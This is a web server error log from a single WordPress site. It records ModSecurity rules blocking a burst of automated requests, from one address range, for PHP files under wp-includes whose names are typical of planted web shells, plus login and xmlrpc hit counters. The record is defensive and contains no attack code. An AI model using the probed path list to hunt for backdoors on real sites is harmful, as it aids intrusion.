[Wed Apr 15 06:11:17.094764 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.124:25239] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "ad67ha3iO9_fE_IQEMlBDAAAAQo"]
[Wed Apr 15 06:11:22.258469 2026] [:error] [pid 4067:tid 4146] [client 45.131.195.120:55597] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "ad67iu5XHBJU8ZrRxZ0_2AAAAI8"]
[Wed Apr 15 06:11:24.387244 2026] [:error] [pid 4067:tid 4131] [client 45.131.195.181:36619] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "ad67jO5XHBJU8ZrRxZ0_3AAAAIA"]
[Wed Apr 15 06:11:25.782600 2026] [:error] [pid 4066:tid 4110] [client 45.131.195.131:30647] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "ad67jYC2YXfSPsC9O_BuoAAAAEY"]
[Wed Apr 15 06:11:26.853394 2026] [:error] [pid 4067:tid 4136] [client 45.131.195.165:46819] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "ad67ju5XHBJU8ZrRxZ0_4wAAAIU"]
[Wed Apr 15 06:11:28.283063 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.149:48525] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/options.php"] [unique_id "ad67kK3iO9_fE_IQEMlBKQAAARc"]
[Wed Apr 15 06:11:29.273503 2026] [proxy_fcgi:error] [pid 4169:tid 4196] [client 45.131.195.251:61727] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:11:32.578194 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.251:61727] [client 45.131.195.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.251, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "ad67lB15U5D-N99n_jKIdAAAAMM"]
[Wed Apr 15 06:11:38.261858 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.251:61727] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/goto.php"] [unique_id "ad67mh15U5D-N99n_jKIjwAAAMk"]
[Wed Apr 15 06:12:02.308448 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.174:25617] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "ad67sq3iO9_fE_IQEMlB0AAAAQA"]
[Wed Apr 15 06:12:03.339520 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.151:55041] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "ad67s63iO9_fE_IQEMlB2QAAAQE"]
[Wed Apr 15 06:12:04.414981 2026] [:error] [pid 45504:tid 45512] [client 45.131.195.166:59967] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "ad67tK3iO9_fE_IQEMlB4QAAAQY"]
[Wed Apr 15 06:12:17.720583 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.186:45373] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "ad67wR15U5D-N99n_jKI0gAAAME"]
[Wed Apr 15 06:12:19.767770 2026] [:error] [pid 45504:tid 45514] [client 45.131.195.165:45201] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "ad67w63iO9_fE_IQEMlCRQAAAQg"]
[Wed Apr 15 06:12:21.061380 2026] [:error] [pid 4066:tid 4116] [client 45.131.195.136:47733] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "ad67xYC2YXfSPsC9O_BuzwAAAEw"]
[Wed Apr 15 06:12:27.199754 2026] [:error] [pid 4066:tid 4122] [client 45.131.195.134:44825] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "ad67y4C2YXfSPsC9O_Bu3AAAAFI"]
[Wed Apr 15 06:12:29.781199 2026] [:error] [pid 45504:tid 45528] [client 45.131.195.134:63457] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "ad67za3iO9_fE_IQEMlCgwAAARY"]
[Wed Apr 15 06:12:33.887444 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.129:63981] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "ad670R15U5D-N99n_jKJAQAAAMA"]
[Wed Apr 15 06:12:49.489414 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.160:55871] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "ad674a3iO9_fE_IQEMlC2gAAAQM"]
[Wed Apr 15 06:12:53.313093 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.154:20297] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/about.php"] [unique_id "ad675R15U5D-N99n_jKJOQAAAMk"]
[Wed Apr 15 06:13:02.662200 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.160:23513] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp-sup.php"] [unique_id "ad677q3iO9_fE_IQEMlDCwAAARA"]
[Wed Apr 15 06:13:08.203927 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.119:28319] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "ad679K3iO9_fE_IQEMlDJwAAAQ8"]
[Wed Apr 15 06:13:14.843557 2026] [:error] [pid 4065:tid 4094] [client 45.131.195.159:55175] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "ad67-gWArgJTHu2_6OzLPgAAABI"]
[Wed Apr 15 06:13:20.526221 2026] [:error] [pid 4067:tid 4151] [client 45.131.195.180:61265] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "ad68AO5XHBJU8ZrRxZ1AWgAAAJQ"]
[Wed Apr 15 06:13:25.712733 2026] [:error] [pid 4065:tid 4082] [client 45.131.195.189:56903] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "ad68BQWArgJTHu2_6OzLRgAAAAY"]
[Wed Apr 15 06:13:27.021202 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.160:62557] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "ad68B63iO9_fE_IQEMlDWAAAAQ0"]
[Wed Apr 15 06:13:35.721327 2026] [:error] [pid 4067:tid 4145] [client 45.131.195.150:31639] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "ad68D-5XHBJU8ZrRxZ1AeAAAAI4"]
[Wed Apr 15 06:13:43.151471 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.169:32423] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine-session.php"] [unique_id "ad68F63iO9_fE_IQEMlDggAAAQo"]
[Wed Apr 15 06:13:49.482200 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.135:62211] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "ad68Ha3iO9_fE_IQEMlDjgAAARI"]
[Wed Apr 15 06:13:50.800112 2026] [:error] [pid 4169:tid 4198] [client 45.131.195.161:49451] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "ad68Hh15U5D-N99n_jKJ6AAAANc"]
[Wed Apr 15 06:13:53.553549 2026] [:error] [pid 4065:tid 4097] [client 45.131.195.150:20895] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "ad68IQWArgJTHu2_6OzLUAAAABU"]
[Wed Apr 15 06:13:57.611502 2026] [:error] [pid 45504:tid 45518] [client 45.131.195.185:29723] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/install.php"] [unique_id "ad68Ja3iO9_fE_IQEMlDngAAAQw"]
[Wed Apr 15 06:13:58.662927 2026] [:error] [pid 4066:tid 4111] [client 45.131.195.119:39363] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "ad68JoC2YXfSPsC9O_BvQQAAAEc"]
[Wed Apr 15 06:14:08.335786 2026] [:error] [pid 4067:tid 4139] [client 45.131.195.180:41321] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/category-double.php"] [unique_id "ad68MO5XHBJU8ZrRxZ1A0wAAAIg"]
[Wed Apr 15 06:14:12.224187 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.154:28111] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/db.php"] [unique_id "ad68NK3iO9_fE_IQEMlDvAAAAQk"]
[Wed Apr 15 06:14:13.360309 2026] [:error] [pid 4067:tid 4150] [client 45.131.195.204:48239] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/security.php"] [unique_id "ad68Ne5XHBJU8ZrRxZ1A5AAAAJM"]
[Wed Apr 15 06:14:17.176707 2026] [:error] [pid 4067:tid 4155] [client 45.131.195.146:44413] [client 45.131.195.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "ad68Oe5XHBJU8ZrRxZ1A6AAAAJg"]
[Wed Apr 15 06:14:20.179293 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.146:58435] [client 45.131.195.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "ad68PIC2YXfSPsC9O_BvRgAAAEk"]
[Wed Apr 15 06:14:24.041864 2026] [:error] [pid 4066:tid 4118] [client 128.199.223.38:43060] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad68QIC2YXfSPsC9O_BvVQAAAE4"]
[Wed Apr 15 06:14:27.075761 2026] [:error] [pid 4067:tid 4141] [client 45.131.195.191:31063] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "ad68Q-5XHBJU8ZrRxZ1BAQAAAIo"]
[Wed Apr 15 06:14:30.881321 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.189:56455] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "ad68Rq3iO9_fE_IQEMlD7QAAARI"]
[Wed Apr 15 06:14:34.748146 2026] [:error] [pid 4169:tid 4193] [client 45.131.195.156:34995] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "ad68Sh15U5D-N99n_jKKRQAAANM"]
[Wed Apr 15 06:14:37.439455 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.185:29749] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/as.php"] [unique_id "ad68TR15U5D-N99n_jKKSAAAANY"]
[Wed Apr 15 06:14:40.175177 2026] [:error] [pid 4067:tid 4151] [client 45.131.195.124:52037] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "ad68UO5XHBJU8ZrRxZ1BEAAAAJQ"]
[Wed Apr 15 06:14:41.273845 2026] [:error] [pid 4066:tid 4126] [client 45.131.195.141:64723] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/install.php"] [unique_id "ad68UYC2YXfSPsC9O_BvYwAAAFY"]
[Wed Apr 15 06:14:42.198692 2026] [:error] [pid 4065:tid 4092] [client 45.131.195.126:39267] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/db.php"] [unique_id "ad68UgWArgJTHu2_6OzLawAAABA"]
[Wed Apr 15 06:14:51.071295 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.179:24985] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "ad68Wx15U5D-N99n_jKKYgAAAME"]
[Wed Apr 15 06:14:56.305210 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.125:62221] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rk2.php"] [unique_id "ad68YB15U5D-N99n_jKKjgAAANA"]
[Wed Apr 15 06:15:00.064660 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.186:28273] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/past.php"] [unique_id "ad68ZB15U5D-N99n_jKKowAAANA"]
[Wed Apr 15 06:15:03.782758 2026] [:error] [pid 4067:tid 4134] [client 45.131.195.186:22897] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/edit-tags.php"] [unique_id "ad68Z-5XHBJU8ZrRxZ1BUAAAAIM"]
[Wed Apr 15 06:15:10.848576 2026] [:error] [pid 45504:tid 45521] [client 45.131.195.155:60649] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "ad68bq3iO9_fE_IQEMlEqgAAAQ8"]
[Wed Apr 15 06:15:14.155194 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.141:31495] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "ad68cq3iO9_fE_IQEMlExgAAAQ0"]
